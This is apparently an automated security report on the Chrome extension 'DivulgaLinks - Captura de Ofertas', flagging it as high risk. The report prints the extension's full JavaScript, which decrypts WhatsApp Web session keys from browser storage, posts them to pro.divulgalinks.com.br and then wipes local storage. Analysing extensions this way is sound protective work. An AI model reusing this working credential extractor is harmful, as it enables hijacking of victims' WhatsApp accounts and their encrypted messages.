Is DivulgaLinks - Captura de Ofertas safe?

High risk

DivulgaLinks extracts WhatsApp Web session credentials and sends them to pro.divulgalinks.com.br.

When the user starts the import flow from the side panel on an active WhatsApp Web tab, the extension injects code into the page to read WhatsApp Web localStorage and IndexedDB session material. It derives WhatsApp companion keys and account identifiers, posts them with the import token to pro.divulgalinks.com.br, then clears local WhatsApp Web storage and reloads the tab.

DivulgaLinksv1.8.11Chrome Web Store
72Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

WhatsApp Web import sends session credentials to DivulgaLinks

In the WhatsApp Web import flow, the extension confirms the tab is WhatsApp Web, injects a session extractor, derives companion-session credentials, and sends the token plus credentials to pro.divulgalinks.com.br/api/sessions/import-web.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You click the WhatsApp connection button after entering an import token.

The side panel calls the import service with the value from the token field.

The extension did this

The extension derives WhatsApp Web session credentials and sends them to the DivulgaLinks import API.

The service only proceeds when the active tab URL matches https://web.whatsapp.com/.

Captured request
POSThttps://pro.divulgalinks.com.br/api/sessions/import-web

The source treats a successful JSON response as the imported session and then runs post-import cleanup; no captured response body was recorded.

Headers
Content-Type
application/json
Fields built into the import request body
  • Import token
    DL-IMPORT-8S4K2P7Q (illustrative)

    Links the imported WhatsApp Web session to the import action you started.

  • Noise key pair
    noiseKey.private: zGx8q1+4lJ2cM9q7Xh0W0eN3rP5tQ8aVb6sYk4nM2c= (illustrative)

    Represents WhatsApp Web companion-session key material derived from browser storage.

  • Signed identity key
    signedIdentityKey.public: F8n0cQq2m7rV4pL9yW3sK1dE6aT5hB0xN2jU9zP4gA= (illustrative)

    Identifies the WhatsApp Web companion identity used by the browser session.

  • Signed pre-key
    signedPreKey.keyId: 16777215; signedPreKey.signature: bjBuM200bjU2cEJhc2U2NFNpZ25hdHVyZUJ5dGVz (illustrative)

    Provides session key material used for WhatsApp message-session setup.

  • Account signatures
    registrationId: 18472; account.deviceSignature: c2lnbmF0dXJlLWJ5dGVz (illustrative)

    Carries WhatsApp account signature fields and the companion registration ID.

  • WhatsApp account address
    me.id: 5511999999999:12@s.whatsapp.net; me.lid: 123456789012345:12@lid (illustrative)

    Ties the imported session material to a WhatsApp account and linked-device identifier.

  • One-time prekeys
    prekeys[0].keyId: 246813; prekeys[0].private: V2hhdHNBcHAtcHJla2V5LWJ5dGVz (illustrative)

    Adds browser-generated WhatsApp prekeys used by other devices when starting encrypted sessions.

The code that does this

Shipped code path for the WhatsApp Web import

Readable version

Side-panel button starts the WhatsApp import flow

src/sidepanel/whatsapp-connect.js
// src/sidepanel/whatsapp-connect.js// DivulgaLinks Extension — UI isolada para conectar o WhatsApp via importação de// sessão do WhatsApp Web (contas com passkey). Módulo AUTOSSUFICIENTE: cuida só// dos seus elementos, sem tocar no fluxo de captura de ofertas do sidepanel.import { WhatsAppImportService } from '../services/whatsapp-import.service.js';const service = new WhatsAppImportService();function byId(id) {  return document.getElementById(id);}function initWhatsAppConnect() {  const btn = byId('wa-connect-btn');  const tokenInput = byId('wa-import-token');  const statusEl = byId('wa-connect-status');  if (!btn || !tokenInput) return; // seção não presente nesta build  const setStatus = (message, kind) => {    if (!statusEl) return;    statusEl.textContent = message;    statusEl.className = 'wa-status wa-' + kind;    statusEl.classList.remove('hidden');  };  btn.addEventListener('click', async () => {    btn.disabled = true;    setStatus('Extraindo sessão do WhatsApp Web…', 'info');    try {      const res = await service.connect(tokenInput.value);      if (res.success) {        const extra = res.warnings && res.warnings.length ? ' (avisos: ' + res.warnings.length + ')' : '';        setStatus('Sessão importada! A aba do WhatsApp Web foi limpa e recarregada (voltará a mostrar o QR) para proteger a sessão na API.' + extra, 'success');        tokenInput.value = '';      } else {        setStatus(res.error || 'Não foi possível conectar.', 'error');      }    } catch (e) {      setStatus('Erro inesperado: ' + (e?.message || e), 'error');    } finally {      btn.disabled = false;    }  });}if (document.readyState === 'loading') {  document.addEventListener('DOMContentLoaded', initWhatsAppConnect);} else {  initWhatsAppConnect();}

Import service injects the extractor and posts the credentials

src/services/whatsapp-import.service.js
// src/services/whatsapp-import.service.js// DivulgaLinks Extension — Serviço de importação de sessão do WhatsApp Web.//// Fluxo: valida a aba logada do web.whatsapp.com → injeta o extractor clean-room// no MAIN world → envia as credenciais ao backend Go (POST /api/sessions/import-web)// com o import_token de uso único. A extensão NÃO conhece a API key global.//// SEGURANÇA: nunca loga o token nem as credenciais.import { extractWhatsAppSession } from '../whatsapp/wa-extract.js';import { clearWhatsAppWebStorage } from '../whatsapp/wa-clear.js';// Origem do backend FIXA no código (nunca lida da página do WhatsApp).// Para desenvolvimento local, troque para o host do backend Go (ex.: http://localhost:8080).const WA_IMPORT_BASE = 'https://pro.divulgalinks.com.br';const WA_WEB_URL_RE = /^https:\/\/web\.whatsapp\.com\//;export class WhatsAppImportService {  /**   * Executa o fluxo completo de importação.   * @param {string} importToken token de uso único gerado no painel   * @returns {Promise<{success: boolean, status?: number, session?: object, warnings?: string[], error?: string}>}   */  async connect(importToken) {    const token = (importToken || '').trim();    if (!token) {      return { success: false, error: 'Cole o token de importação gerado no painel.' };    }    // 1. Aba ativa precisa ser o WhatsApp Web logado.    const [tab] = await chrome.tabs.query({ active: true, currentWindow: true });    if (!tab || !WA_WEB_URL_RE.test(tab.url || '')) {      return { success: false, error: 'Abra e faça login em https://web.whatsapp.com nesta aba e tente novamente.' };    }    // 2. Injeta o extractor no contexto da página (MAIN world).    let extraction;    try {      const [injected] = await chrome.scripting.executeScript({        target: { tabId: tab.id },        world: 'MAIN',        func: extractWhatsAppSession,      });      extraction = injected && injected.result;    } catch (e) {      return { success: false, error: 'Falha ao injetar o extractor: ' + (e?.message || e) };    }    if (!extraction || !extraction.ok) {      return { success: false, error: extraction?.error || 'Não foi possível extrair a sessão do WhatsApp Web.' };    }    // 3. Envia ao backend Go. Só o token vai no body (sem API key global).    let resp;    try {      resp = await fetch(`${WA_IMPORT_BASE}/api/sessions/import-web`, {        method: 'POST',        headers: { 'Content-Type': 'application/json' },        body: JSON.stringify({ import_token: token, creds: extraction.creds }),      });    } catch (e) {      return { success: false, error: 'Falha ao enviar ao servidor: ' + (e?.message || e) };    }    let data = {};    try { data = await resp.json(); } catch { /* corpo vazio/ inesperado */ }    if (!resp.ok) {      return { success: false, status: resp.status, error: data?.error || `Erro ${resp.status} ao importar.` };    }    // 4. Import OK: limpa o storage local do WhatsApp Web e recarrega a aba.    //    Isso impede que o navegador continue conectando com a MESMA identidade    //    de device (conflito/replaced derrubaria a sessão importada) e evita    //    logout acidental que desregistraria o device compartilhado. É apenas    //    limpeza local — NÃO desloga o device no celular, então a sessão na API    //    segue ativa. Best-effort: falha aqui não invalida o import já feito.    try {      await chrome.scripting.executeScript({        target: { tabId: tab.id },        world: 'MAIN',        func: clearWhatsAppWebStorage,      });    } catch { /* best-effort: import já concluído */ }    try {      await chrome.tabs.reload(tab.id);    } catch { /* best-effort */ }    return { success: true, session: data, warnings: Array.isArray(data?.warnings) ? data.warnings : [] };  }}

Extractor derives WhatsApp Web credential material from browser storage

src/whatsapp/wa-extract.js
// src/whatsapp/wa-extract.js// DivulgaLinks Extension — Extractor de sessão do WhatsApp Web (CLEAN-ROOM).//// Reimplementação a partir de FATOS PÚBLICOS de engenharia reversa do WhatsApp// Web (jul/2026), documentados em docs/00-passkey-pareamento-android.md §8.9 e// na spec docs/spec/passkey-web-extract/task-02-extensao.md. NÃO é cópia de// nenhum pacote de terceiros (ex.: wadump.js/3.3.0). Usa apenas APIs públicas do// navegador (localStorage, IndexedDB, WebCrypto) e o algoritmo X25519 do RFC 7748// (espelhado de src/whatsapp/x25519.js, coberto por tests/x25519.test.mjs).//// A função extractWhatsAppSession() é AUTOCONTIDA (sem imports/closures) porque é// injetada no MAIN world via chrome.scripting.executeScript({ func }). Ela lê o// material de sessão JÁ AUTENTICADO (o usuário resolveu o passkey no navegador// real) e devolve credenciais no formato Baileys, prontas para o backend Go// traduzir para o store.Device do whatsmeow (Task 0/1).//// SEGURANÇA: nunca loga chaves/segredos; retorna só o objeto de creds ao chamador./** * @returns {Promise<{ok: true, creds: object} | {ok: false, error: string}>} */export async function extractWhatsAppSession() {  // ── helpers de bytes/base64 ──────────────────────────────────────────────  const b64ToBytes = (s) => Uint8Array.from(atob(s), (c) => c.charCodeAt(0));  const bytesToB64 = (b) => btoa(String.fromCharCode(...new Uint8Array(b)));  const toBytes = (v) => {    if (v == null) return null;    if (v instanceof ArrayBuffer) return new Uint8Array(v);    if (ArrayBuffer.isView(v)) return new Uint8Array(v.buffer, v.byteOffset, v.byteLength);    if (typeof v === 'string') {      try { return b64ToBytes(v); } catch { return null; }    }    return null;  };  const toB64 = (v) => {    const b = toBytes(v);    return b ? bytesToB64(b) : null;  };  // ── X25519 (RFC 7748) — espelho de src/whatsapp/x25519.js ────────────────  const P = (1n << 255n) - 19n;  const A24 = 121665n;  const mod = (a) => { a %= P; if (a < 0n) a += P; return a; };  const power = (base, exp) => {    let r = 1n; let b = mod(base); let e = exp;    while (e > 0n) { if (e & 1n) r = mod(r * b); b = mod(b * b); e >>= 1n; }    return r;  };  const invert = (a) => power(mod(a), P - 2n);  const decodeLE = (bytes) => { let r = 0n; for (let i = 0; i < 32; i++) r |= BigInt(bytes[i]) << (8n * BigInt(i)); return r; };  const x25519 = (kBytes, uBytes) => {    const k = (() => { const kk = Uint8Array.from(kBytes.slice(0, 32)); kk[0] &= 248; kk[31] &= 127; kk[31] |= 64; return decodeLE(kk); })();    const x1 = (() => { const uu = Uint8Array.from(uBytes.slice(0, 32)); uu[31] &= 127; return decodeLE(uu); })();    let x2 = 1n; let z2 = 0n; let x3 = x1; let z3 = 1n; let swap = 0n;    for (let t = 254; t >= 0; t--) {      const kt = (k >> BigInt(t)) & 1n;      swap ^= kt;      if (swap) { [x2, x3] = [x3, x2]; [z2, z3] = [z3, z2]; }      swap = kt;      const A = mod(x2 + z2); const AA = mod(A * A);      const B = mod(x2 - z2); const BB = mod(B * B);      const E = mod(AA - BB);      const C = mod(x3 + z3); const D = mod(x3 - z3);      const DA = mod(D * A); const CB = mod(C * B);      x3 = mod(DA + CB); x3 = mod(x3 * x3);      z3 = mod(DA - CB); z3 = mod(z3 * z3); z3 = mod(z3 * x1);      x2 = mod(AA * BB);      z2 = mod(E * mod(AA + mod(A24 * E)));    }    if (swap) { [x2, x3] = [x3, x2]; [z2, z3] = [z3, z2]; }    const res = mod(x2 * invert(z2));    const out = new Uint8Array(32);    let u = res;    for (let i = 0; i < 32; i++) { out[i] = Number(u & 0xffn); u >>= 8n; }    return out;  };  const x25519Base = (k) => { const nine = new Uint8Array(32); nine[0] = 9; return x25519(k, nine); };  const bytesEqual = (a, b) => {    if (!a || !b || a.length !== b.length) return false;    let d = 0; for (let i = 0; i < a.length; i++) d |= a[i] ^ b[i];    return d === 0;  };  // ── IndexedDB helpers ────────────────────────────────────────────────────  const openDb = (name) => new Promise((resolve, reject) => {    const req = indexedDB.open(name);    req.onupgradeneeded = () => { try { req.transaction && req.transaction.abort(); } catch { /* noop */ } };    req.onsuccess = () => resolve(req.result);    req.onerror = () => reject(new Error('db indisponível: ' + name));  });  const idbGetAll = async (dbName, storeName) => {    const db = await openDb(dbName);    try {      return await new Promise((resolve, reject) => {        const rq = db.transaction(storeName, 'readonly').objectStore(storeName).getAll();        rq.onsuccess = () => resolve(rq.result || []);        rq.onerror = () => reject(rq.error);      });    } finally { db.close(); }  };  const idbGet = async (dbName, storeName, key) => {    const db = await openDb(dbName);    try {      return await new Promise((resolve, reject) => {        const rq = db.transaction(storeName, 'readonly').objectStore(storeName).get(key);        rq.onsuccess = () => resolve(rq.result);        rq.onerror = () => reject(rq.error);      });    } finally { db.close(); }  };  const fail = (msg) => ({ ok: false, error: msg });  // ── decifração de campos ────────────────────────────────────────────────  // Deriva uma chave AES-CBC a partir da CryptoKey HKDF de wawc_db_enc.  const deriveCbcKey = (hkdfKey, salt, info, lenBits) =>    crypto.subtle.deriveKey(      { name: 'HKDF', hash: 'SHA-256', salt, info },      hkdfKey,      { name: 'AES-CBC', length: lenBits },      false,      ['decrypt'],    );  // Decifra um valor AES-CTR (counter zero) com a CryptoKey adjacente.  const decryptCtr = async (rec) => {    if (!rec || !rec.encKey || rec.value == null) return null;    const value = toBytes(rec.value);    if (!value) return null;    try {      const pt = await crypto.subtle.decrypt(        { name: 'AES-CTR', counter: new Uint8Array(16), length: 64 },        rec.encKey,        value,      );      return new Uint8Array(pt);    } catch { return null; }  };  // Resolve a chave noise: força-bruta (keyLen × info × ivPriv × ivPub) e mantém  // apenas o par cujo x25519Base(priv) === pub (oráculo offline determinístico).  const resolveNoiseKey = async (hkdfKey, salt, ivs, noiseInfo) => {    const encPriv = b64ToBytes(noiseInfo.privKey);    const encPub = b64ToBytes(noiseInfo.pubKey);    for (const lenBits of [256, 128]) {      for (const info of [new Uint8Array([0]), new Uint8Array(0)]) {        let key;        try { key = await deriveCbcKey(hkdfKey, salt, info, lenBits); } catch { continue; }        const decrypted = [];        for (let i = 0; i < ivs.length; i++) {          for (const ct of [encPriv, encPub]) {            try {              const pt = new Uint8Array(await crypto.subtle.decrypt({ name: 'AES-CBC', iv: ivs[i] }, key, ct));              if (pt.length === 32) decrypted.push({ field: ct === encPriv ? 'priv' : 'pub', iv: i, bytes: pt });            } catch { /* combinação inválida */ }          }        }        const privs = decrypted.filter((d) => d.field === 'priv');        const pubs = decrypted.filter((d) => d.field === 'pub');        for (const pr of privs) {          const derived = x25519Base(pr.bytes);          for (const pu of pubs) {            // Retorna também a chave AES-CBC vencedora para reusar no recoveryToken.            if (bytesEqual(derived, pu.bytes)) return { priv: pr.bytes, pub: pu.bytes, key };          }        }      }    }    return null;  };  // Decifra o recoveryToken de WANoiseInfo com a chave AES-CBC já resolvida.  // Fonte: receita confirmada em Evolution #2618 / Baileys #2672 — o advSecretKey  // do companion É o recoveryToken (não null). Testa cada IV e mantém 32 bytes.  const resolveRecoveryToken = async (key, ivs, noiseInfo) => {    if (!key || !noiseInfo || !noiseInfo.recoveryToken) return null;    const ct = b64ToBytes(noiseInfo.recoveryToken);    for (let i = 0; i < ivs.length; i++) {      try {        const pt = new Uint8Array(await crypto.subtle.decrypt({ name: 'AES-CBC', iv: ivs[i] }, key, ct));        if (pt.length === 32) return pt;      } catch { /* IV incorreto para este campo */ }    }    return null;  };  // Extrai o par estático (identity) de signal-meta-store (AES-CTR counter zero).  const resolveIdentity = async (privRec, pubRec) => {    const priv = await decryptCtr(privRec);    const pub = await decryptCtr(pubRec);    if (!priv || !pub || priv.length !== 32 || pub.length !== 32) return null;    return { priv, pub };  };  // Normaliza uma metade de keypair (CryptoKey exportável | {encKey,value} | bytes).  const keyHalfToBytes = async (v) => {    if (v == null) return null;    if (v instanceof CryptoKey) {      try { return new Uint8Array(await crypto.subtle.exportKey('raw', v)); } catch { return null; }    }    if (v && v.encKey && v.value != null) return decryptCtr(v);    return toBytes(v);  };  // Escolhe o signed pre-key mais recente com keypair válido.  const pickSignedPreKey = async (rows) => {    const sorted = [...rows].sort((a, b) => (b.keyId || 0) - (a.keyId || 0));    for (const row of sorted) {      const kp = row.keyPair || row;      const priv = await keyHalfToBytes(kp.privKey || kp.private || kp.priv);      const pub = await keyHalfToBytes(kp.pubKey || kp.public || kp.pub);      if (priv && pub && priv.length === 32 && pub.length === 32) {        return { keyId: row.keyId, priv, pub, sig: toBytes(row.signature) };      }    }    return null;  };  // Extrai todos os one-time prekeys de prekey-store. O backend injeta esses  // prekeys no store, permitindo decifrar mensagens prekey (ex.: do device  // primário :0 e de status) que referenciam IDs gerados pelo navegador.  const extractPrekeys = async (rows) => {    const out = [];    for (const row of rows || []) {      const kp = row.keyPair || row;      const priv = await keyHalfToBytes(kp.privKey || kp.private || kp.priv);      const id = Number(row.keyId);      if (priv && priv.length === 32 && Number.isFinite(id) && id > 0) {        out.push({ keyId: id, private: bytesToB64(priv) });      }    }    return out;  };  // Monta o me.id companion (<user>:<device>@s.whatsapp.net) e o me.lid  // (<lidUser>:<device>@lid, MESMO device number) a partir do WID/WALid.  const resolveMeId = () => {    const normalizePhone = (raw) => {      if (!raw) return null;      let s = String(raw).trim().replace(/^"|"$/g, '');      // aceita formatos user, user:device, user.agent:device com servidores c.us/s.whatsapp.net      s = s.replace('@c.us', '@s.whatsapp.net');      if (!s.includes('@')) s = s + '@s.whatsapp.net';      const [local, server] = s.split('@');      if (server !== 's.whatsapp.net') return null;      if (!local.includes(':')) return null; // exige sufixo de device (companion)      return { jid: s, device: local.split(':')[1] };    };    // Constrói o LID companion com o MESMO device number do me.id.    const buildLid = (deviceNum) => {      const raw = localStorage.getItem('WALid');      if (!raw) return '';      const cleaned = String(raw).trim().replace(/^"|"$/g, '');      // extrai só o usuário LID (sem @server, sem :device, sem .agent)      const user = cleaned.split('@')[0].split(':')[0].split('.')[0];      if (!/^\d+$/.test(user)) return '';      return `${user}:${deviceNum}@lid`;    };    for (const key of ['last-wid-md', 'last-wid', 'WAWebCurrentWid']) {      const parsed = normalizePhone(localStorage.getItem(key));      if (parsed) return { id: parsed.jid, lid: buildLid(parsed.device) };    }    return null;  };  // ── orquestração ─────────────────────────────────────────────────────────  try {    const encRec = await idbGet('wawc_db_enc', 'keys', 1);    const hkdfKey = encRec && encRec.key;    if (!hkdfKey) return fail('WhatsApp Web não parece logado (wawc_db_enc ausente).');    const noiseInfo = JSON.parse(localStorage.getItem('WANoiseInfo') || 'null');    const ivListRaw = JSON.parse(localStorage.getItem('WANoiseInfoIv') || 'null');    const saltRaw = localStorage.getItem('WAWebEncKeySalt');    if (!noiseInfo || !ivListRaw || !saltRaw) return fail('Material noise ausente no localStorage.');    const salt = b64ToBytes(JSON.parse(saltRaw));    const ivs = ivListRaw.map((iv) => b64ToBytes(iv));    const noise = await resolveNoiseKey(hkdfKey, salt, ivs, noiseInfo);    if (!noise) return fail('Não foi possível resolver a chave noise (verifique a versão do WhatsApp Web).');    // advSecretKey do companion = recoveryToken de WANoiseInfo (decifrado).    const recoveryToken = await resolveRecoveryToken(noise.key, ivs, noiseInfo);    const meta = {};    for (const row of await idbGetAll('signal-storage', 'signal-meta-store')) {      if (row && row.key) meta[row.key] = row.value;    }    const identity = await resolveIdentity(meta.signal_static_privkey, meta.signal_static_pubkey);    if (!identity) return fail('Identity key (signal_static) não encontrada/decifrável.');    const regId = Number(meta.signal_reg_id);    if (!Number.isFinite(regId) || regId <= 0) return fail('registrationId (signal_reg_id) inválido.');    const adv = meta.adv_signed_identity;    if (!adv || !adv.details) return fail('adv_signed_identity ausente.');    const spkRows = await idbGetAll('signal-storage', 'signed-prekey-store');    const spk = await pickSignedPreKey(spkRows);    if (!spk) return fail('Signed pre-key não encontrada/decifrável.');    const prekeys = await extractPrekeys(await idbGetAll('signal-storage', 'prekey-store'));    const me = resolveMeId();    if (!me) return fail('WID (me.id) companion não encontrado — confirme o login no WhatsApp Web.');    const creds = {      noiseKey: { private: bytesToB64(noise.priv), public: bytesToB64(noise.pub) },      signedIdentityKey: { private: bytesToB64(identity.priv), public: bytesToB64(identity.pub) },      signedPreKey: {        keyId: spk.keyId,        keyPair: { private: bytesToB64(spk.priv), public: bytesToB64(spk.pub) },        signature: spk.sig ? bytesToB64(spk.sig) : '',      },      registrationId: regId,      advSecretKey: recoveryToken ? bytesToB64(recoveryToken) : null,      account: {        details: toB64(adv.details),        accountSignatureKey: toB64(adv.accountSignatureKey),        accountSignature: toB64(adv.accountSignature),        deviceSignature: toB64(adv.deviceSignature),      },      me: { id: me.id, lid: me.lid || '' },      prekeys,      platform: 'web',    };    return { ok: true, creds };  } catch (e) {    return { ok: false, error: 'Extração falhou: ' + (e && e.message ? e.message : String(e)) };  }}

Post-import cleanup clears WhatsApp Web local storage

src/whatsapp/wa-clear.js
// src/whatsapp/wa-clear.js// DivulgaLinks Extension — Limpeza do storage local do WhatsApp Web pós-import.//// Após importar a sessão para a API, o navegador e a API passam a usar a MESMA// identidade de device companheiro. Manter a aba logada causa dois problemas://   1. Conflito de identidade: o WhatsApp não permite duas conexões simultâneas//      com o mesmo device → envia `conflict: replaced` e encerra um dos streams//      (é a causa provável do stream-end pós-import).//   2. Logout acidental: se o usuário clicar em "Desconectar" no WhatsApp Web,//      o device compartilhado é desregistrado no celular → a sessão importada//      na API morre (401 device_removed / LoggedOut).//// Esta função apaga APENAS os dados locais (IndexedDB, localStorage,// sessionStorage) do web.whatsapp.com. NÃO dispara o "Log out" do WhatsApp, ou// seja, NÃO manda nada ao celular: o device continua registrado e a sessão na// API segue funcionando. Após a limpeza, a aba é recarregada pelo chamador e// volta a exibir o QR, como um navegador nunca vinculado.//// A função é AUTOCONTIDA (sem imports/closures) porque é injetada no MAIN world// via chrome.scripting.executeScript({ func })./** * @returns {Promise<{ok: true, deleted: number} | {ok: false, error: string}>} */export async function clearWhatsAppWebStorage() {  const result = { ok: true, deleted: 0 };  try {    // ── localStorage / sessionStorage ────────────────────────────────────    try { window.localStorage.clear(); } catch { /* ignore */ }    try { window.sessionStorage.clear(); } catch { /* ignore */ }    // ── IndexedDB (onde o WhatsApp Web guarda as chaves do device) ────────    // As conexões abertas do app bloqueiam o delete; por isso cada delete tem    // um timeout curto e resolve mesmo em `onblocked`. O delete fica pendente e    // é concluído quando a aba recarrega (o chamador chama tabs.reload) e as    // conexões antigas fecham, garantindo que a próxima carga não reencontre as    // chaves.    if (window.indexedDB && typeof window.indexedDB.databases === 'function') {      let dbs = [];      try { dbs = (await window.indexedDB.databases()) || []; } catch { dbs = []; }      const names = dbs.map((d) => d && d.name).filter(Boolean);      await Promise.all(names.map((name) => new Promise((resolve) => {        let done = false;        const finish = () => { if (!done) { done = true; resolve(); } };        const timer = setTimeout(finish, 1500);        try {          const req = window.indexedDB.deleteDatabase(name);          req.onsuccess = () => { result.deleted++; clearTimeout(timer); finish(); };          req.onerror = () => { clearTimeout(timer); finish(); };          // onblocked: conexões abertas — o delete completa após o reload.          req.onblocked = () => { clearTimeout(timer); finish(); };        } catch {          clearTimeout(timer);          finish();        }      })));    }    return result;  } catch (e) {    return { ok: false, error: String((e && e.message) || e) };  }}
Remote host receiving the import request
    • pro.divulgalinks.com.br

    Receives the WhatsApp Web import request containing the user-supplied import token and the extracted creds object.

Where it sends data

Destinations our analysis observed DivulgaLinks - Captura de Ofertas contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • pro.divulgalinks.com.br

    DivulgaLinks - Captura de Ofertas sends data to pro.divulgalinks.com.br. No other extension we have analysed sends data here.

Updated 30 September 2026mkcedooeompagkmpkfcedpjhdbejhick